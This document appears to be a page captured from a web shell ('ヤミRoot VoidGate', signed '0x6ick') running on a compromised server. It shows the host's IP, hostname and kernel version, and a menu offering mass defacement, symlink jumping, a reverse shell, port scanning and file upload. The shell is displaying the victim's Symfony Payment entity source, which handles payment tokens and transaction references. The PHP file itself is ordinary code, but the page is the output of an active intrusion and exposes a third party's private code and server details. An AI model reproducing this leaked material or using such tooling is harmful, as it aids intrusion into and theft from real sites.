ヤミRoot VoidGate
User / IP
:
216.73.216.84
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
logercm
/
dev.loger.cm
/
src
/
Entity
/
Viewing: Payment.php
<?php namespace App\Entity; use ApiPlatform\Core\Annotation\ApiResource; use App\Repository\PaymentRepository; use Doctrine\ORM\Mapping as ORM; /** * @ApiResource() * @ORM\Entity(repositoryClass=PaymentRepository::class) */ class Payment { /** * @ORM\Id * @ORM\GeneratedValue * @ORM\Column(type="integer") */ private $id; /** * @ORM\ManyToOne(targetEntity=User::class, inversedBy="payments") */ private $user; /** * @ORM\Column(type="integer") */ private $amount; /** * @ORM\Column(type="integer", nullable=true) */ private $fees; /** * @ORM\Column(type="datetime_immutable") */ private $createdAt; /** * @ORM\Column(type="datetime_immutable", nullable=true) */ private $expireAt; /** * @ORM\OneToOne(targetEntity=BookingRoom::class, inversedBy="payment", cascade={"persist", "remove"}) * @ORM\JoinColumn(nullable=true) */ private $booking; /** * @ORM\Column(type="integer", nullable=true) */ private $discount; /** * @ORM\ManyToOne(targetEntity=PaymentOption::class, inversedBy="payments") * @ORM\JoinColumn(nullable=true) */ private $paymentOption; /** * @ORM\Column(type="string", length=1000, nullable=true) */ private $paymentToken; /** * @ORM\Column(type="string", length=1000, nullable=true) */ private $idReqDoh; /** * @ORM\Column(type="string", length=255, nullable=true) */ private $rDvs; /** * @ORM\Column(type="string", length=255, nullable=true) */ private $transactionRef; /** * @ORM\Column(type="datetime_immutable", nullable=true) */ private $updateAt; /** * @ORM\Column(type="integer", nullable=true) */ private $amountValidated; public function getId(): ?int { return $this->id; } public function getUser(): ?User { return $this->user; } public function setUser(?User $user): self { $this->user = $user; return $this; } public function getAmount(): ?int { return $this->amount; } public function setAmount(int $amount): self { $this->amount = $amount; return $this; } public function getFees(): ?int { return $this->fees; } public function setFees(?int $fees): self { $this->fees = $fees; return $this; } public function getCreatedAt(): ?\DateTimeImmutable { return $this->createdAt; } public function setCreatedAt(\DateTimeImmutable $createdAt): self { $this->createdAt = $createdAt; return $this; } public function getExpireAt(): ?\DateTimeImmutable { return $this->expireAt; } public function setExpireAt(\DateTimeImmutable $expireAt): self { $this->expireAt = $expireAt; return $this; } public function getBooking(): ?BookingRoom { return $this->booking; } public function setBooking(BookingRoom $booking): self { $this->booking = $booking; return $this; } public function getDiscount(): ?int { return $this->discount; } public function setDiscount(?int $discount): self { $this->discount = $discount; return $this; } public function __construct() { $this->createdAt = new \DateTimeImmutable( ); } public function __toString() { // TODO: Implement __toString() method. if(is_null($this)){ return "no payment"; } if(is_null($this->getPaymentOption())){ return $this->getUser()->getLastName()." ".number_format($this->getAmount(), 2, ',', ' ')." xaf"; }else{ return $this->getPaymentOption()->getPaymentName()." ".$this->getUser()->getLastName()." ".number_format($this->getAmount(), 2, ',', ' ')." xaf"; } } public function getPaymentOption(): ?PaymentOption { return $this->paymentOption; } public function setPaymentOption(?PaymentOption $paymentOption): self { $this->paymentOption = $paymentOption; return $this; } public function getPaymentToken(): ?string { return $this->paymentToken; } public function setPaymentToken(?string $paymentToken): self { $this->paymentToken = $paymentToken; return $this; } public function getIdReqDoh(): ?string { return $this->idReqDoh; } public function setIdReqDoh(?string $idReqDoh): self { $this->idReqDoh = $idReqDoh; return $this; } public function getRDvs(): ?string { return $this->rDvs; } public function setRDvs(?string $rDvs): self { $this->rDvs = $rDvs; return $this; } public function getTransactionRef(): ?string { return $this->transactionRef; } public function setTransactionRef(?string $transactionRef): self { $this->transactionRef = $transactionRef; return $this; } public function getUpdateAt(): ?\DateTimeImmutable { return $this->updateAt; } public function setUpdateAt(?\DateTimeImmutable $updateAt): self { $this->updateAt = $updateAt; return $this; } public function getAmountValidated(): ?int { return $this->amountValidated; } public function setAmountValidated(?int $amountValidated): self { $this->amountValidated = $amountValidated; return $this; } }
Coded With 💗 by
0x6ick